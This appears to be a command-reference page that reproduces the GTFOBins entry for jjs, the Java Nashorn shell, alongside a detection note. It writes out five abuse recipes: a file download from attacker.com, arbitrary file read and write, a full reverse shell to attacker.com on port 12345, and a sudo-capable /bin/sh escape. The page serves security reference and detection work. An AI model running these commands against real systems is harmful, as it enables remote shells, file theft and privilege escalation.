Ceplin Command Identifier

Identifier / Programs / Linux and Unix

jjs

GTFOBins download, file-read, file-write, reverse-shell, shell 5 documented commands

Opens the identifier with your command. It is read in your browser and sent nowhere.

How jjs is abused

documented by GTFOBins

download

file-read

file-write

reverse-shell

shell

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for jjs.

5 documented commands

from GTFOBins, each read by the identifier

download unprivileged, with sudo

jjs
var URL = Java.type('java.net.URL');
var ws = new URL('http://attacker.com/path/to/input-file');
var Channels = Java.type('java.nio.channels.Channels');
var rbc = Channels.newChannel(ws.openStream());
var FileOutputStream = Java.type('java.io.FileOutputStream');
var fos = new FileOutputStream('/path/to/output-file');
fos.getChannel().transferFrom(rbc, 0, Number.MAX_VALUE);
fos.close();
rbc.close();
Identify

file-read unprivileged, with sudo

jjs
var BufferedReader = Java.type('java.io.BufferedReader');
var FileReader = Java.type('java.io.FileReader');
var br = new BufferedReader(new FileReader('/path/to/input-file'));
while ((line = br.readLine()) != null) { print(line); }
Identify

file-write unprivileged, with sudo

jjs
var FileWriter = Java.type('java.io.FileWriter');
var fw=new FileWriter('/path/to/output-file');
fw.write('DATA');
fw.close();
Identify

reverse-shell unprivileged, with sudo

jjs
var host='attacker.com';
var port=12345;
var ProcessBuilder = Java.type('java.lang.ProcessBuilder');
var p=new ProcessBuilder('/bin/sh', '-i').redirectErrorStream(true).start();
var Socket = Java.type('java.net.Socket');
var s=new Socket(host,port);
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type('java.lang.Thread').sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();
Identify

shell unprivileged, with sudo

jjs
Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c $@|sh _ echo sh </dev/tty >/dev/tty 2>/dev/tty').waitFor()
Identify

None of the 5 commands the identifier reads trips a Sigma process-creation rule. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for jjs. The identifier reads the line of each that runs jjs.